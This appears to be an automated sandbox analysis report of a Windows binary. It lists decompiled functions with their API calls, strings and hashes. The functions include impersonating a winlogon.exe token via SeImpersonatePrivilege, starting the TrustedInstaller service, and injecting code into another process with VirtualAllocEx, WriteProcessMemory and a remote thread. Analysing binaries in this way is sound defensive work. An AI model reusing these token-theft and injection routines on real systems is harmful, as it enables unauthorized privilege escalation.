				} else {
					E00404BE4( &_v1068,  &_v540, _t48);
					_pop(_t42);
				}
				_v8 = 0;
				_t30 = E00401DF9(_t45, _t53, _a4,  &_v1068,  &_v8); // executed
				_t49 = _t30;
				_t54 = _t49;
				if(_t49 == 0) {
					E00408F48(_t42, _t54, L"SeImpersonatePrivilege"); // executed
					_t33 = ImpersonateLoggedOnUser(_v8); // executed
					if(_t33 == 0) {
						_t49 = GetLastError();
					}
					CloseHandle(_v8);
				}
				return _t49;
			}

APIs

memset.MSVCRT ref: 00401F27
memset.MSVCRT ref: 00401F3F

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00401F5A
wcslen.MSVCRT ref: 00401F69
ImpersonateLoggedOnUser.KERNELBASE(?,0040218D,?,?,?,?,?,?,?,00000000), ref: 00401FC2
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00401FCC
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00401FD7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Strings

SeImpersonatePrivilege, xrefs: 00401FB4
winlogon.exe, xrefs: 00401F54, 00401F59, 00401F80

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memsetwcscpywcslen$CloseDirectoryErrorHandleImpersonateLastLoggedSystemUserwcscat
String ID: SeImpersonatePrivilege$winlogon.exe
API String ID: 3867304300-2177360481
Opcode ID: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction ID: dcc5dec8953379ec1552ef046485534b93905478987a0ec3c51696e6dc85d708
Opcode Fuzzy Hash: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction Fuzzy Hash: 48214F72940118AACB20A795DC899DFB7BCDF54354F5001BBF608F2191EB345A848BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00401306, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401306(void* _a4) {
				intOrPtr _v28;
				struct _SERVICE_STATUS _v32;
				void* _t5;
				int _t12;
				void* _t14;

				_t12 = 0; // executed
				_t5 = OpenServiceW(_a4, L"TrustedInstaller", 0x34); // executed
				_t14 = _t5;
				if(_t14 != 0) {
					if(QueryServiceStatus(_t14,  &_v32) != 0 && _v28 != 4) {
						_t12 = StartServiceW(_t14, 0, 0);
					}
					CloseServiceHandle(_t14);
				}
				CloseServiceHandle(_a4);
				return _t12;
			}

0x00401319
0x0040131b
0x00401327
0x0040132b
0x0040133a
0x0040134b
0x0040134b
0x0040134e
0x0040134e
0x00401353
0x0040135b

APIs

OpenServiceW.ADVAPI32(00402183,TrustedInstaller,00000034,?,?,00000000,?,?,?,?,?,00402183,00000000), ref: 0040131B
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,00402183,00000000), ref: 00401332
StartServiceW.ADVAPI32(00000000,00000000,00000000), ref: 00401345
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,00402183,00000000), ref: 0040134E
CloseServiceHandle.ADVAPI32(00402183,?,?,?,?,?,00402183,00000000), ref: 00401353

Strings

TrustedInstaller, xrefs: 00401311

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Service$CloseHandle$OpenQueryStartStatus
String ID: TrustedInstaller
API String ID: 862991418-565535830
Opcode ID: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction ID: 300c39592a487ff017dde1f9aaf4b69bffecac74e3568357a1b40912e0f2caec
Opcode Fuzzy Hash: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction Fuzzy Hash: F9F08275601218FBE7222BE59CC8DAF7A6CDF88794B040132FD01B12A0D674DD05C9F9

Uniqueness

Uniqueness Score: -1.00%

Function 00409555, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27
libraryloadertimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409555(void* _a4, struct _FILETIME* _a8, struct _FILETIME* _a12, struct _FILETIME* _a16, struct _FILETIME* _a20) {
				int _t8;
				struct HINSTANCE__* _t9;

				if( *0x41c8e8 == 0) {
					_t9 = GetModuleHandleW(L"kernel32.dll");
					if(_t9 != 0) {
						 *0x41c8e8 = 1;
						 *0x41c8ec = GetProcAddress(_t9, "GetProcessTimes");
					}
				}
				if( *0x41c8ec == 0) {
					return 0;
				} else {
					_t8 = GetProcessTimes(_a4, _a8, _a12, _a16, _a20); // executed
					return _t8;
				}
			}

0x0040955f
0x00409566
0x0040956e
0x00409576
0x00409586
0x00409586
0x0040956e
0x00409592
0x004095aa
0x00409594
0x004095a3
0x004095a6
0x004095a6

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 00409566
GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00409580
GetProcessTimes.KERNELBASE(00000000,00401DD3,?,?,?,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 004095A3

Strings

kernel32.dll, xrefs: 00409561
GetProcessTimes, xrefs: 00409570

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcProcessTimes
String ID: GetProcessTimes$kernel32.dll
API String ID: 1714573020-3385500049
Opcode ID: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction ID: 684c615278f70e6dc9f1b796aa494e436c9634249af5aea594c4fe29f2bd0140
Opcode Fuzzy Hash: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction Fuzzy Hash: 51F0C031680209EFDF019FE5ED85B9A3BE9EB44705F008535F908E12A1D7758960EB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A33B, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A33B(unsigned int _a4, WCHAR* _a8, WCHAR* _a12) {
				struct HRSRC__* _t12;
				void* _t16;
				void* _t17;
				signed int _t18;
				signed int _t26;
				signed int _t29;
				signed int _t33;
				struct HRSRC__* _t35;
				signed int _t36;

				_t12 = FindResourceW(_a4, _a12, _a8); // executed
				_t35 = _t12;
				if(_t35 != 0) {
					_t33 = SizeofResource(_a4, _t35);
					if(_t33 > 0) {
						_t16 = LoadResource(_a4, _t35);
						if(_t16 != 0) {
							_t17 = LockResource(_t16);
							if(_t17 != 0) {
								_a4 = _t33;
								_t29 = _t33 * _t33;
								_t36 = 0;
								_t7 =  &_a4;
								 *_t7 = _a4 >> 2;
								if( *_t7 != 0) {
									do {
										_t26 =  *(_t17 + _t36 * 4) * _t36 * _t33 * 0x00000011 ^  *(_t17 + _t36 * 4) + _t29;
										_t36 = _t36 + 1;
										_t29 = _t26;
									} while (_t36 < _a4);
								}
								_t18 =  *0x40fa70; // 0xfcb617dc
								 *0x40fa70 = _t18 + _t29 ^ _t33;
							}
						}
					}
				}
				return 1;
			}

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 0040A348
SizeofResource.KERNEL32(?,00000000), ref: 0040A359
LoadResource.KERNEL32(?,00000000), ref: 0040A369
LockResource.KERNEL32(00000000), ref: 0040A374

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction ID: cffa73b79ff672a66ed03b266e9253c2cf49bd0e4e2f0a3a12bdb4b298abf715
Opcode Fuzzy Hash: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction Fuzzy Hash: 1101C032700315ABCB194FA5DD8995BBFAEFB852913088036ED09EA2A1D730C811CA88

Uniqueness

Uniqueness Score: -1.00%

Function 00404951, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404951(signed int* __eax, void* __edx, void** __edi, signed int _a4, char _a8) {
				void* _t8;
				void* _t13;
				signed int _t16;
				void** _t21;
				signed int _t22;

				_t21 = __edi;
				_t22 =  *__eax;
				if(__edx < _t22) {
					return 0;
				} else {
					_t13 =  *__edi;
					do {
						_t1 =  &_a8; // 0x4057e1
						 *__eax =  *__eax +  *_t1;
						_t16 =  *__eax;
					} while (__edx >= _t16);
					_t8 = malloc(_t16 * _a4); // executed
					 *__edi = _t8;
					if(_t22 > 0) {
						if(_t8 != 0) {
							memcpy(_t8, _t13, _t22 * _a4);
						}
						free(_t13); // executed
					}
					return 0 |  *_t21 != 0x00000000;
				}
			}

APIs

malloc.MSVCRT ref: 0040496D
memcpy.MSVCRT ref: 00404985
free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

Strings

W@, xrefs: 0040495B

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: freemallocmemcpy
String ID: W@
API String ID: 3056473165-1729568415
Opcode ID: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction ID: 6576f77cd119d718dc8f29c334e0549a7190cc93a29033006f08a56aa9c3ab10
Opcode Fuzzy Hash: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction Fuzzy Hash: 09F054B26092229FC708AA79B98585BB79DEF84364711487EF514E72D1D7389C40C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00405436, Relevance: 6.0, APIs: 4, Instructions: 31
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405436(wchar_t* _a4) {
				void _v2050;
				signed short _v2052;
				void* __esi;
				struct HINSTANCE__* _t16;
				WCHAR* _t18;

				_v2052 = _v2052 & 0x00000000;
				memset( &_v2050, 0, 0x7fe);
				E00404C3C( &_v2052);
				_t18 =  &_v2052;
				E004047AF(_t18);
				wcscat(_t18, _a4);
				_t16 = LoadLibraryW(_t18); // executed
				if(_t16 == 0) {
					return LoadLibraryW(_a4);
				}
				return _t16;
			}

0x0040543f
0x00405456
0x00405462
0x00405467
0x0040546d
0x00405478
0x00405489
0x0040548d
0x00000000
0x00405492
0x00405496

APIs

memset.MSVCRT ref: 00405456

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

Part of subcall function 004047AF: wcslen.MSVCRT ref: 004047B0
Part of subcall function 004047AF: wcscat.MSVCRT ref: 004047C8

wcscat.MSVCRT ref: 00405478
LoadLibraryW.KERNELBASE(00000000), ref: 00405489
LoadLibraryW.KERNEL32(?), ref: 00405492

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadwcscat$DirectorySystemmemsetwcscpywcslen
String ID:
API String ID: 3725422290-0
Opcode ID: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction ID: bb87c58107a7235a9df1b9b02ada5b91fca9717c482d10a691b94706fbe65826
Opcode Fuzzy Hash: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction Fuzzy Hash: EBF03771D40229A6DF20B7A5CC06B8A7A6CFF40758F0044B6B94CB7191DB7CEA558FD8

Uniqueness

Uniqueness Score: -1.00%

Function 004054B9, Relevance: 2.5, APIs: 2, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054B9(intOrPtr* __esi) {

				free( *(__esi + 0x10));
				free( *(__esi + 0xc)); // executed
				 *((intOrPtr*)(__esi)) = 0;
				 *((intOrPtr*)(__esi + 4)) = 0;
				 *(__esi + 0xc) = 0;
				 *(__esi + 0x10) = 0;
				 *((intOrPtr*)(__esi + 0x1c)) = 0;
				 *((intOrPtr*)(__esi + 8)) = 0;
				return 0;
			}

0x004054bc
0x004054c4
0x004054cd
0x004054cf
0x004054d2
0x004054d5
0x004054d8
0x004054db
0x004054de

APIs

free.MSVCRT(?,004056F7,00000000,?,00000000), ref: 004054BC
free.MSVCRT(?,?,004056F7,00000000,?,00000000), ref: 004054C4

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 46b26eb0f7634a7a859f62a4155f99fc61a4d37ba6de741af70d04cb62256736
Instruction ID: 7665469e3ee5729aacaba78e143212aa4928b7d925741869fd88885e7d369011
Opcode Fuzzy Hash: 46b26eb0f7634a7a859f62a4155f99fc61a4d37ba6de741af70d04cb62256736
Instruction Fuzzy Hash: C2D0A2B1515B018ED7B5DF39E405506BBF1EF083143108D7E90AED2A51E735A5549F48

Uniqueness

Uniqueness Score: -1.00%

Function 00408F48, Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408F48(void* __ecx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* _t8;
				void* _t13;

				_v8 = _v8 & 0x00000000;
				_t8 = E00408FC9( &_v8, __eflags, _a4); // executed
				_t13 = _t8;
				if(_v8 != 0) {
					FreeLibrary(_v8);
				}
				return _t13;
			}

0x00408f4c
0x00408f57
0x00408f60
0x00408f62
0x00408f67
0x00408f67
0x00408f71

APIs

Part of subcall function 00408FC9: GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8
Part of subcall function 00408FC9: GetLastError.KERNEL32(00000000), ref: 00408FEA

FreeLibrary.KERNEL32(00000000,?,?,?,?,004085BD,SeDebugPrivilege,00000000,?,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408F67

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentErrorFreeLastLibraryProcess
String ID:
API String ID: 187924719-0
Opcode ID: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction ID: 8dfc096080dba386992b60ff887e92109f2b64d1c6b3d0c2bddabb0c4d0164ae
Opcode Fuzzy Hash: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction Fuzzy Hash: D6D01231511119FBDF109B91CE06BCDBB79DB00399F104179E400B2190D7759F04E694

Uniqueness

Uniqueness Score: -1.00%

Function 004098F9, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004098F9(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				intOrPtr* _t6;
				void* _t8;
				struct HINSTANCE__** _t10;

				_t10 = __eax;
				E00409921(__eax);
				_t6 =  *((intOrPtr*)(_t10 + 0x10));
				if(_t6 == 0) {
					return 0;
				}
				_t8 =  *_t6(_a4, 0, _a8, 0x104); // executed
				return _t8;
			}

0x004098fa
0x004098fc
0x00409901
0x00409907
0x00000000
0x0040991c
0x00409918
0x00000000

APIs

Part of subcall function 00409921: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

K32GetModuleFileNameExW.KERNEL32(00000104,00000000,004096DF,00000104,004096DF,00000000,?), ref: 00409918

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$FileModuleName
String ID:
API String ID: 3859505661-0
Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction ID: 0481de772a0e6c3324847b7c7a0c8cc4c6a15655966ff13cfb2205d1ba48b523
Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction Fuzzy Hash: 26D0A9B22183006BD620AAB08C00B4BA2D47B80710F008C2EB590E22D2D274CD105208

Uniqueness

Uniqueness Score: -1.00%

Function 004095DA, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004095DA(signed int* __edi) {
				void* __esi;
				struct HINSTANCE__* _t3;
				signed int* _t7;

				_t7 = __edi;
				_t3 =  *__edi;
				if(_t3 != 0) {
					FreeLibrary(_t3); // executed
					 *__edi =  *__edi & 0x00000000;
				}
				E004099D4( &(_t7[0xa]));
				return E004099D4( &(_t7[6]));
			}

0x004095da
0x004095da
0x004095de
0x004095e1
0x004095e7
0x004095e7
0x004095ee
0x004095fc

APIs

FreeLibrary.KERNELBASE(00000000,00401DF2,?,00000000,?,?,00000000), ref: 004095E1

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction ID: 13308881ed9fba3be053afa591bd741d52050d54eca683c3f8d57f3833d878b6
Opcode Fuzzy Hash: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction Fuzzy Hash: 5DD0C973401113EBDB01BB26EC856957368BF00315B15012AA801B35E2C738BDA6CAD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3C1, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3C1(struct HINSTANCE__* _a4, WCHAR* _a8) {

				EnumResourceNamesW(_a4, _a8, E0040A33B, 0); // executed
				return 1;
			}

0x0040a3d0
0x0040a3d9

APIs

EnumResourceNamesW.KERNELBASE(?,?,0040A33B,00000000), ref: 0040A3D0

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction ID: 553cc51789f51932b097ae14593f850e519bfff9ece1921d1baa913e09089cf7
Opcode Fuzzy Hash: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction Fuzzy Hash: 17C09B3215C341D7D7019F208C15F1EF695BB59701F104C39B191A40E0C77140349A05

Uniqueness

Uniqueness Score: -1.00%

Function 004055D1, Relevance: 1.3, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004055D1(void* __eax, signed int* __esi) {
				void* _t7;
				signed int* _t9;

				_t9 = __esi;
				_t7 = __eax;
				if(__esi[4] != 0) {
					free(__esi[4]); // executed
					__esi[4] = __esi[4] & 0x00000000;
				}
				_t9[2] = _t9[2] & 0x00000000;
				 *_t9 =  *_t9 & 0x00000000;
				return _t7;
			}

0x004055d1
0x004055d1
0x004055d5
0x004055da
0x004055df
0x004055e3
0x004055e4
0x004055e8
0x004055eb

APIs

free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1ccf70efd53a905eaa3be4641a335161fb9261ddf056e2ce29b449610dd832be
Instruction ID: d9e56b4edb5911b8eb4629cf82416adf3d5ef3fa420fba14bebf6bcebba5d7e5
Opcode Fuzzy Hash: 1ccf70efd53a905eaa3be4641a335161fb9261ddf056e2ce29b449610dd832be
Instruction Fuzzy Hash: FEC00272420B01DBE7355F21D8093A6B3F1FB1032BFA04E6E90A6148E1C7BCA58CCA48

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040A46C, Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 208
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040A46C(void* __ecx, void* __eflags, void* _a4, void* _a8, void* _a12, void* _a16, intOrPtr _a20, char _a24, void* _a28, intOrPtr _a32) {
				char _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				char _v564;
				char _v16950;
				char _v33336;
				_Unknown_base(*)()* _v33348;
				_Unknown_base(*)()* _v33352;
				void _v33420;
				void _v33432;
				void _v33436;
				intOrPtr _v66756;
				intOrPtr _v66760;
				void _v66848;
				void _v66852;
				void* __edi;
				void* _t76;
				_Unknown_base(*)()* _t84;
				_Unknown_base(*)()* _t87;
				void* _t90;
				signed int _t126;
				struct HINSTANCE__* _t128;
				intOrPtr* _t138;
				void* _t140;
				void* _t144;
				void* _t147;
				void* _t148;

				E0040B550(0x10524, __ecx);
				_t138 = _a4;
				_v12 = 0;
				 *_t138 = 0;
				_t76 = OpenProcess(0x1f0fff, 0, _a8);
				_a8 = _t76;
				if(_t76 == 0) {
					 *_t138 = GetLastError();
					L30:
					return _v12;
				}
				_v33436 = 0;
				memset( &_v33432, 0, 0x8284);
				_t148 = _t147 + 0xc;
				_t128 = GetModuleHandleW(L"kernel32.dll");
				_v8 = 0;
				E00409C70( &_v8);
				_push("CreateProcessW");
				_push(_t128);
				if(_v8 == 0) {
					_t84 = GetProcAddress();
				} else {
					_t84 = _v8();
				}
				_v33352 = _t84;
				E00409C70( &_v8);
				_push("GetLastError");
				_push(_t128);
				if(_v8 == 0) {
					_t87 = GetProcAddress();
				} else {
					_t87 = _v8();
				}
				_t140 = _a28;
				_v33348 = _t87;
				if(_t140 != 0) {
					_t126 = 0x11;
					memcpy( &_v33420, _t140, _t126 << 2);
					_t148 = _t148 + 0xc;
				}
				_v33420 = 0x44;
				if(_a16 == 0) {
					_v33336 = 1;
				} else {
					E00404923(0x2000,  &_v33336, _a16);
				}
				if(_a12 == 0) {
					_v16950 = 1;
				} else {
					E00404923(0x2000,  &_v16950, _a12);
				}
				if(_a24 == 0) {
					_v564 = 1;
				} else {
					E00404923(0x104,  &_v564, _a24);
				}
				_v24 = _a20;
				_v28 = 0;
				_a16 = VirtualAllocEx(_a8, 0, 0x8288, 0x1000, 4);
				_t90 = VirtualAllocEx(_a8, 0, 0x800, 0x1000, 0x40);
				_a12 = _t90;
				if(_a16 == 0 || _t90 == 0) {
					 *_a4 = GetLastError();
				} else {
					WriteProcessMemory(_a8, _t90, E0040A3DC, 0x800, 0);
					WriteProcessMemory(_a8, _a16,  &_v33436, 0x8288, 0);
					_v20 = 0;
					_v16 = 0;
					_a24 = 0;
					_t144 = E0040A272( &_v20, _a8, _a12, _a16,  &_a24);
					_a28 = _t144;
					if(_t144 == 0) {
						 *_a4 = GetLastError();
					} else {
						ResumeThread(_t144);
						WaitForSingleObject(_t144, 0x7d0);
						CloseHandle(_t144);
					}
					_v66852 = 0;
					memset( &_v66848, 0, 0x8284);
					ReadProcessMemory(_a8, _a16,  &_v66852, 0x8288, 0);
					VirtualFreeEx(_a8, _a16, 0, 0x8000);
					VirtualFreeEx(_a8, _a12, 0, 0x8000);
					if(_a28 != 0) {
						 *_a4 = _v66756;
						_v12 = _v66760;
						if(_a32 != 0) {
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
						}
					}
					if(_v20 != 0) {
						FreeLibrary(_v20);
					}
				}
				goto L30;
			}

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,00000000,?,00402225,?,00000000,?,?,?,?,?,?), ref: 0040A48F
memset.MSVCRT ref: 0040A4B3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00000000), ref: 0040A4C0

Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CE4
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CF1

GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 0040A4EA
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 0040A50B
VirtualAllocEx.KERNEL32(?,00000000,00008288,00001000,00000004), ref: 0040A5BA
VirtualAllocEx.KERNEL32(?,00000000,00000800,00001000,00000040), ref: 0040A5CF
WriteProcessMemory.KERNEL32(?,00000000,0040A3DC,00000800,00000000), ref: 0040A5FA
WriteProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A60B
ResumeThread.KERNEL32(00000000,?,?,?,?), ref: 0040A635
WaitForSingleObject.KERNEL32(00000000,000007D0), ref: 0040A641
CloseHandle.KERNEL32(00000000), ref: 0040A648
